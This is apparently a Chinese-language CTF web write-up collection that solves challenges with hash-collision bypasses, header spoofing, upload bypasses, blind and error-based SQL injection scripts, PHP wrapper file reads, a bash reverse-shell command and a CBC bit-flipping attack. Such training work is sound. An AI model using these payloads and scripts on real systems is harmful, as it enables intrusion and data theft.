Web(2)

md5 collision(NUPT_CTF)

题目提示md5,先试试弱类型比较的漏洞240610708

直接拿到flag,payload:

1
http://120.24.86.145:9009/md5.php?a=240610708

程序员本地网站

题目提示

1
请从本地访问!

直接构造XFF,在消息头里加上

1
X-Forwarded-For:127.0.0.1

直接拿到flag

各种绕过

题目直接给了源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])

print 'passwd can not be uname.';

else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))

die('Flag: '.$flag);

else

print 'sorry!';

}
?>

先解释一下代码,当uname`passwd存在,并且两个值不能相等,但是他们俩的sha1值必须相等,原则上是不可能实现的,所以漏洞就在这产生了, 这题看到了sha1(),跟md5()`不一样,所以需要SHA1碰撞,我引用了这篇文章的两个hax

第一个

1
%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1

第二个

1
%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

有了这两个值之后就很好做了,代码本身并不难,记得最后跟上一个id=margin

web8

题目也是给了代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

先解释一下代码,extract()可以将数组的键名拆成变量,这里直接像平时一样传参即可,
并且必须存在$ac这个变量,然后$f这个变量是从file_get_contents($fn)中得到,所以你还需要传入$fn这个变量,如果$ac$f相等的话,得到flag,但是这个相等绕过的可能性不大,
因为是三个等号,所以只能将另这两个值相等了。

两种解法:

  • 第一种

直接扫后台,扫到一个名为flag.txt,并且内容是flags
然后根据代码的意思将传入的$ac参数值置为flags,然后将$fn置为flag.txt

payload:

1
http://120.24.86.145:8002/web8/?ac=flags&fn=flag.txt

  • 第二种

利用伪协议,既然$fn可控的话,并且被包含,那么就能用伪协议了,payload:

1
2
3
http://120.24.86.145:8002/web8/?ac=1&fn=php://input

POST:1

细心

首先这题啥都没有,各种找都找不到入口,然后上御剑扫到了robots.txt

1
2
User-agent: *
Disallow: /resusl.php

有个提示是管理员的,提交x为各种值都不行,然后提交为admin有反应了?wtf?

求getshell

首先题目提示:

1
My name is margin,give me a image file not a php

先上传个php试试,

直接提示了非法文件,然后我们将扩展名改为jpg试试

题目会提示

1
You got it!:)

能成功,但是题目没有回显路径或者flag,继续更改文件的类型为image/jpeg,
然后回显了路径:

但是已经被当成一张图片了,服务器无法解析,所以上菜刀是连不上的,
这个时候需要揣摩一下出题者的意图了,
提示里写了需要一个image,所以类型是肯定需要改成image的,
但是各种试都上传不上去,能成功上传的都被更改了后缀名,
所以更改一下请求头Content-Type大小写,因为这道题的waf很严格,
导致了各种上传方式都失败,又因为对s上传的文件类型做了一点要求,
所以只能更改后缀名来得到flag,php别名:

1
php2, php3, php4, php5, phps, pht, phtm, phtml …

都可以试一下,当试到php5时,得到flag:

这里引用网上wp的一句话:

1
2
3
如果是waf严格匹配,通过修改Content-type后字母的大小写可以绕过检测,
使得需要上传的文件可以到达服务器端,而服务器的容错率较高,
一般我们上传的文件可以解析。

INSERT INTO注入

题目提示:
不如写个python吧。。
估计大概率是盲注了,先放上代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

分析一下代码,这段代码的意思先从$_SERVER['HTTP_X_FORWARDED_FOR获得ip变量,
然后再执行insert into语句,所以这里的可控变量是$ip,也就是在请求包里构造XFF
insert into注入中,需要用到的sql语句是

1
select case when 条件 then 执行1 else 执行2

再来看看代码过滤了什么:
explode(',', $ip)可以发现逗号被过滤了,所以substr()1,1这样的方法行不通,
所以现在需要换一种方法substr() from 1 for 1,而且因为没有报错,所以只能是基于时间的盲注,
这时候需要用到sleep()timeout,先上python代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import string

mystring = string.ascii_letters+string.digits+string.punctuation
url='http://120.24.86.145:8002/web15/'
data = "'+(select case when (substring((select database() ) from {0} for 1)='{1}') then sleep(5) else 1 end)) #"
flag = ''

for i in range(1,10):
for j in mystring:
try:
headers = {'x-forwarded-for':data.format(str(i),j)}
res = requests.get(url,headers=headers,timeout=3)
except requests.exceptions.ReadTimeout:
flag += j
print(flag)
break

print('The database name is '+flag)

这段代码的作用是查出来数据库的名字,后面的步骤也就跟普通的盲注一样了,
得到表名代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import string

mystring = string.ascii_letters+string.digits+string.punctuation
url='http://120.24.86.145:8002/web15/'
data = "'+(select case when (substring((select table_name from information_schema.tables where table_schema= 'web15' limit 1 offset {0}) from {1} for 1)='{2}') then sleep(5) else 1 end)) #"
flag = ''
tables = []
for x in range(0,5):
tables.append(flag)
flag = ''
for i in range(1,10):
for j in mystring:
try:
headers = {'x-forwarded-for':data.format(str(x),str(i),j)}
res = requests.get(url,headers=headers,timeout=3)
except requests.exceptions.ReadTimeout:
flag += j
print(flag)
break

print('The database name is '+''.join(tables))

列名也是一样的道理,所以只放出最后的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import string

mystring = string.ascii_letters+string.digits+string.punctuation
url='http://120.24.86.145:8002/web15/'
data = "'+(select case when (substring((select flag from flag) from {0} for 1)='{1}') then sleep(5) else 1 end)) #"
flag = ''

for i in range(1,35):
for j in mystring:
try:
headers = {'x-forwarded-for':data.format(str(i),j)}
res = requests.get(url,headers=headers,timeout=4)
except requests.exceptions.ReadTimeout:
flag += j
print flag
break

print(flag)

最后可以得到flag

这是一个神奇的登陆框

很基础的注入题,payload:

1
1" union select flag1,2 from flag1 #

多次

首先各种试了之后全是error,在这样尝试之后发现没有报错:

1
http://120.24.86.145:9004/1ndex.php?id=1'  aandnd 1=1 %23

估计后面全是双写绕过,然后就变成了一个很普通的联合注入,所以最终的payload是

1
http://120.24.86.145:9004/1ndex.php?id=-1' ununionion selselectect 1,flag1 from flag1%23

但是这个flag是一串乱码。。是第一个flag,在找列的时候还看到一个address列

1
http://120.24.86.145:9004/1ndex.php?id=-1' ununionion selselectect 1,address from flag1%23

可以得到下一关的通关地址Once_More.php

这一关双写union也没办法绕过,所以试了一下updatexml,报错注入,
这里大概简述一下updatexml报错注入:

1
2
3
4
5
UPDATEXML (XML_document, XPath_string, new_value); 
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值

来看看这题的payload:

1
http://120.24.86.145:9004/Once_More.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23

concat函数会把中间的参数连接成字符串,比如:

1
concat(hello,world,!)

很容易理解,返回的是helloworld!
然后又因为UPDATEXML函数的第二个参数需要的是xml格式的字符串,
我这里提交的是~sql语句~,是不符合xml格式的,所以会报错。
得到表名:

按照这个思路,可以一步步的得到flag,什么时候能进行报错注入呢,输入这个语句查询sql版本:

1
?id=1' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)%23

前面已经得到了表名,列名和数据直接放上payload:
列:

1
http://120.24.86.145:9004/Once_More.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=0x666c616732),0x7e),1)%23

flag:

1
http://120.24.86.145:9004/Once_More.php?id=1' and updatexml(1,concat(0x7e,(select flag2 from flag2),0x7e),1)%23

然后发现其实这题还有第三关:

1
http://120.24.86.145:9004/Once_More.php?id=1' and updatexml(1,concat(0x7e,(select address from flag2),0x7e),1)%23

1
http://120.24.86.145:9004/Have_Fun.php

访问之后查看源代码提示:

1
2
YOUR IP:59.46.211.135
Sorry,Only IP:192.168.0.100 Can Access This Site

构造XFF即可绕过:

然后题目提示了一个图片,访问之后是个二维码
扫描之后得到以下信息:

你……你……你可以看到我? 好吧,我来自于ErWeiMa.php 顺便告诉你两个密码 one:参数名是game; tow:flag在admin里 对了,文件后@…c=Y&$as%_=#ad…@#!*&@…c……

参数名是game,flag在admin里,很明显的文件读取了,不能直接读取,
所以只能用伪协议了:

1
game=php://filter/read=convert.base64-encode/resource=admin.php

得到源码之后,base64解码:

1
2
3
4
5
<?php

$good = "Good Job!I want You!";
$flag = "0x476F6F64204A6F62A3A1492077616E7420596F7521A3A1";
?>

得到flag,
提交时需要加上FLAG{}

PHP_encrypt_1(ISCCCTF)

这题一开始没给加密后的数据,应该是题目有问题,网上找了一下找到了,

1
fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=

加密算法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function encrypt($data,$key)
{
$key = md5('ISCC');
$x = 0;
$len = strlen($data);
$klen = strlen($key);
for ($i=0; $i < $len; $i++) {
if ($x == $klen)
{
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
for ($i=0; $i < $len; $i++) {
$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
}
return base64_encode($str);
}

自用的解密算法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function decrypt($str){
$str = base64_decode($str);
$len = strlen($str);
$key = md5('ISCC');
$klen = strlen($key);
for ($i=0; $i < $len; $i++) {
if ($x == $klen){
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
for ($i=0; $i<$len ; $i++) {
if (abs(ord($str[$i])-ord($char[$i])+128)>128) {
$flag .= chr(abs(ord($str[$i])-ord($char[$i])));
}else{
$flag .= chr(abs(ord($str[$i])-ord($char[$i])+128));
}
}
return $flag;
}

这里有两个地方需要注意,

  • 第一个是加密算法里的$char,长度不确定,但是想一想之后会发现,他的长度跟加密后的数据长度一样(base64之后)
  • 第二个点是取余是不可逆的,但是由于ascii码的范围是有限的,所以其中的ord($data[$i]) + ord($char[$i])的范围是[0,254],所以这个取余是可逆的,分成两种情况,
    • 第一种是相加大于128
    • 第二种是相加小于128

Flag:{asdqwdfasfdawfefqwdqwdadwqadawd}

文件包含2

这题应该是坏了,自己试的方法和网上找的方法都行不通

flag.php

首先这个login点了肯定是没反应的,因为根本没有action
所以看到hint,在URL后面传递一个hint参数,此时可以看到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
http://120.24.86.145:8002/flagphp/?hint=
<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button"/></p>
</form>
</div>
</body>
</html>

<?php
}
$KEY='ISecer:www.isecer.com';
?>

分析一下这段代码,中间得到flag的代码是当unserialize($cookie)等于$key时,
但是key是在后面定义的,所以前面那个key是空的,我们可以在本地试试

1
2
3
4
5
6
7
<?php
$str = 's:0:"";';
if(unserialize($str) === "$hh"){

echo 1;
}
?>

可以发现是会回显1的,所以一样的道理,在请求头中添加:

1
Cookie:ISecer=s:0:"";

即可得到flag

sql注入2

说是sql注入,但是各种方法都试了,找了网上的writeup才发现是.DS_Store泄露,
什么是.DS_Store:

1
.DS_Store 是 Mac OS X 系统中的临时文件,其中可能存放与目录相关的敏感信息。

在网上找一个.DS_Store利用工具

直接就把flag文件下载下来了,打开即可拿到flag

孙xx的博客

这题貌似也坏了

报错注入

题目给出提示:

1
2
3
4
访问参数为:?id=x

不允许包含“--”,空格,单引号,双引号,“union”关键字
查询文件中包含“”(双引号)里面的内容,需要查询的文件路径为:/var/test/key_1.php

需要查询的是一个文件,这里使用mysql的load_file这个函数,
题目很明显直接提示了是报错注入,先试试updatexml

1
http://103.238.227.13:10088/?id=1/**/and/**/updatexml(1,concat(0x7e,(select/**/@@version),0x7e),1)

可以直接报错了,所以接下来使用load_file这个函数,因为substr的长度只有30位,
而且加载的是一个文件,所以需要多试试:

1
http://103.238.227.13:10088/?id=1/**/and/**/updatexml(1,concat(0x7e,substr(load_file(0x2f7661722f746573742f6b65795f312e706870),75,100),0x7e),1)

大概就是75到125的位置得到的flag,但是提交的时候是中文的双引号,这个地方有点坑

Trim的日记本

直接扫后台得到show.php,本来以为是一个代码审计,但是直接给出了flag..

1
http://120.24.86.145:9002/show.php

login2(SKCTF)

首先拿到题目看了看源码没给提示,直接抓个包,在响应包中可以看到tip:

1
JHNxbD0iU0VMRUNUIHVzZXJuYW1lLHBhc3N3b3JkIEZST00gYWRtaW4gV0hFUkUgdXNlcm5hbWU9JyIuJHVzZXJuYW1lLiInIjsKaWYgKCFlbXB0eSgkcm93KSAmJiAkcm93WydwYXNzd29yZCddPT09bWQ1KCRwYXNzd29yZCkpewp9

base64解码之后是:

1
2
3
$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}

可以看到是先提交的用户名之后再从数据中查询密码,随后再核对密码,然后也没有对username进行过滤的操作,
此时构造语句:

1
username=' union select md5(1),md5(1) #

理解起来很简单,就是先闭合前面的单引号,使得前面为空,然后联合查询出md5(1)
随后将password置为1,就能绕过了

进来之后是一个进程监测系统,随便输了几个字符:

发现了sh -c ps -aux | grep,能执行命令,所以很简单,弹个shell就行
直接bash弹shell

1
|bash -i >& /dev/tcp/服务器ip/8888 0>&1

拿到shell 之后 cat f*

拿到flag

login3(SKCTF)

题目先给了提示,基于布尔的SQL盲注,经过测试之后可以发现是有admin这个账户的,
除开提示密码错误,然后还提示用户不存在,
上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
str_all="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="
url="http://118.89.219.210:49167/index.php"
r=requests.session()

def password():
resutlt=""
for i in range(40):
fla=0
for j in range(32,127):
playlod = "admin'^(ascii(mid((select(password)from(admin))from({})))<>{})^0#".format(str(i+1),str(j))
data = {
"username": playlod,
"password": "123"
}
s=r.post(url,data)
if "error" in s.text:
resutlt+=chr(j)
fla=1
print('**************************',resutlt)
if fla==0:
break
password()

然后得到一串md5,解密得到flag{skctf123456}

文件上传(湖湘杯)

一开始试了很多方法绕过上传,但是没成功,然后看到了url:

1
http://123.206.87.240:9011/?op=upload

居然有个可控的变量,然后发现这个变量是根据文件的名字进行读取的,
然后试了试:

1
http://123.206.87.240:9011/flag.php

并且扫描发现存在flag.php,所以大概率是伪协议了,试了试:

1
http://123.206.87.240:9011/?op=php://filter//read=convert.base64-encode/resource=flag

base64解码直接得到flag

1
2
3
<?php
$flag="flag{e00f8931037cbdb25f6b1d82dfe5552f}";
?>

login4

这题是CBC字节翻转攻击,参考l1nk3r大佬的文章
先扫目录得到.index.php.swp,恢复之后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Login Form</title>
<link href="static/css/style.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="static/js/jquery.min.js"></script>
<script type="text/javascript">
$(document).ready(function() {
$(".username").focus(function() {
$(".user-icon").css("left","-48px");
});
$(".username").blur(function() {
$(".user-icon").css("left","0px");
});

$(".password").focus(function() {
$(".pass-icon").css("left","-48px");
});
$(".password").blur(function() {
$(".pass-icon").css("left","0px");
});
});
</script>
</head>

<?php
define("SECRET_KEY", file_get_contents('/root/key'));
define("METHOD", "aes-128-cbc");
session_start();

function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}

function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
$_SESSION['username'] = $info['username'];
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}

function check_login(){
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$_SESSION['username'] = $info['username'];
}else{
die("ERROR!");
}
}
}

function show_homepage(){
if ($_SESSION["username"]==='admin'){
echo '<p>Hello admin</p>';
echo '<p>Flag is $flag</p>';
}else{
echo '<p>hello '.$_SESSION['username'].'</p>';
echo '<p>Only admin can see flag</p>';
}
echo '<p><a href="loginout.php">Log out</a></p>';
}

if(isset($_POST['username']) && isset($_POST['password'])){
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
if($username === 'admin'){
exit('<p>admin are not allowed to login</p>');
}else{
$info = array('username'=>$username,'password'=>$password);
login($info);
show_homepage();
}
}else{
if(isset($_SESSION["username"])){
check_login();
show_homepage();
}else{
echo '<body class="login-body">
<div id="wrapper">
<div class="user-icon"></div>
<div class="pass-icon"></div>
<form name="login-form" class="login-form" action="" method="post">
<div class="header">
<h1>Login Form</h1>
<span>Fill out the form below to login to my super awesome imaginary control panel.</span>
</div>
<div class="content">
<input name="username" type="text" class="input username" value="Username" onfocus="this.value=\'\'" />
<input name="password" type="password" class="input password" value="Password" onfocus="this.value=\'\'" />
</div>
<div class="footer">
<input type="submit" name="submit" value="Login" class="button" />
</div>
</form>
</div>
</body>';
}
}
?>
</html>

cbc字节翻转攻击的原理简单解释一下:

  • 首先将原文分成几个固定长度的块,然后有种对称加密算法来加密一些字符串,
  • 其次还有一个叫Initialzation Vector(IV)的东西来保证明文在经过加密后,密文不相同的情况
  • 然后最重要的一个就是CBC的算法(这里借助line大佬的公式方便理解一下):
    加密:
    Ciphertext-0 = Encrypt(Plaintext XOR IV)—只用于第一个组块
    Ciphertext-N= Encrypt(Plaintext XOR Ciphertext-N-1)—用于第二及剩下的组块
    解密:
    Plaintext-0 = Decrypt(Ciphertext) XOR IV—只用于第一个组块
    Plaintext-N= Decrypt(Ciphertext) XOR Ciphertext-N-1—用于第二及剩下的组块

攻击原理就是通过改变其中某个字符的值,来达到我们需要满足的目的,并且在这题中,改变的同时,其他的值还不能改变,否则反序列化会出错。

开始做题,
在我们随便拿一个帐号登录进去之后,可以看到:

同时对应的函数代码:

1
2
3
4
5
6
7
8
9
10
function show_homepage(){
if ($_SESSION["username"]==='admin'){
echo '<p>Hello admin</p>';
echo '<p>Flag is $flag</p>';
}else{
echo '<p>hello '.$_SESSION['username'].'</p>';
echo '<p>Only admin can see flag</p>';
}
echo '<p><a href="loginout.php">Log out</a></p>';
}

跟踪一下,看看哪个地方调用了这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if(isset($_POST['username']) && isset($_POST['password'])){
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
if($username === 'admin'){
exit('<p>admin are not allowed to login</p>');
}else{
$info = array('username'=>$username,'password'=>$password);
login($info);
show_homepage();
}
}else{
if(isset($_SESSION["username"])){
check_login();
show_homepage();
}

可以看到在调用这个函数之前还调用了login:

1
2
3
4
5
6
7
8
function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
$_SESSION['username'] = $info['username'];
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}

login的作用简单来说就是将传进去的用户名密码序列化,然后还有将此时的用户名写进session中,并且将序列化后的用户名密码进行加密,

1
2
3
4
5
6
7
8
9
10
11
12
function check_login(){
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$_SESSION['username'] = $info['username'];
}else{
die("ERROR!");
}
}
}

check_login的作用跟login差不多是相反的,但是问题就出在此时的$info变量我们是可以通过cookie控制的,所以才有了cbc字节翻转攻击
回到第一段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if(isset($_POST['username']) && isset($_POST['password'])){
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
if($username === 'admin'){
exit('<p>admin are not allowed to login</p>');
}else{
$info = array('username'=>$username,'password'=>$password);
login($info);
show_homepage();
}
}else{
if(isset($_SESSION["username"])){
check_login();
show_homepage();
}else{

如果将代码读明白了,可以很明显的知道,

1
2
3
4
5
6
7
if($username === 'admin'){
exit('<p>admin are not allowed to login</p>');
}else{
$info = array('username'=>$username,'password'=>$password);
login($info);
show_homepage();
}

这一段代码是跟根本不可能得到flag的,因为$info里是不能出现admin的,
所以重点就在else里的show_homepage了,cookie可控,开始解题
首先我们使用admi2,haha登录进去,这里已经产生了cookie:

先序列化一下$info这个数组然后分个组:

1
2
3
4
5
6
a:2:{s:8:"username";s:5:"admi2";s:8:"password";s:4:"haha";}

a:2:{s:8:"userna
me";s:5:"admi2";
s:8:"password";s
:4:"haha";}

接下来要做的就是更改cookie,使得session['username']=admin,同样借助一下大佬的脚本:

1
2
3
4
5
6
7
8
9
10
11
import base64
from urllib import unquote
from urllib import quote_plus

cipher = '*********' #这里写cookie中的cipher
cipher = unquote(cipher)
cipher_de = base64.b64decode(cipher)
ch = chr(ord(cipher_de[13]) ^ ord('2') ^ ord('n')) #这里根据用户名可以稍作改变13对应的是第一组的13位于第二组的2进行运算
cipher_de=cipher_de[0:13]+ch+cipher_de[14::]
rs = base64.b64encode(cipher_de)
print quote_plus(rs)

然后用得到的cipher替换掉之前的,然后在URL栏按回车,此时会提示你刚刚替换的cipher不能反序列化,这个地方出现的原因是由于第一组变了,解密之后与之前的不一样,所以提示失败
接下来要做的就是将IV也替换掉,使得解密后能被反序列化,再一次的借助大佬的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# -*- coding:utf-8 -*-

import base64
from urllib import unquote
from urllib import quote_plus

mingwen_de='x2FPwTAFf/svVLvvU25fDW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjA6IiI7fQ=='
#base64_decode('这里面的') can't unserialize
mingwen = base64.b64decode(mingwen_de)
print mingwen

iv = '6S%2FcC7czBRvE0iSkTANYaQ%3D%3D'
#此时cookie里的iv
iv = unquote(iv)
iv_de = base64.b64decode(iv)
new = 'a:2:{s:8:"userna'
for i in range(16):
iv_de = iv_de[:i] + chr(ord(iv_de[i]) ^ ord(mingwen[i]) ^ ord(new[i])) + iv_de[i+1:]


print(base64.b64encode(iv_de))
#用这个结果把原来的iv换掉

然后就得到flag了,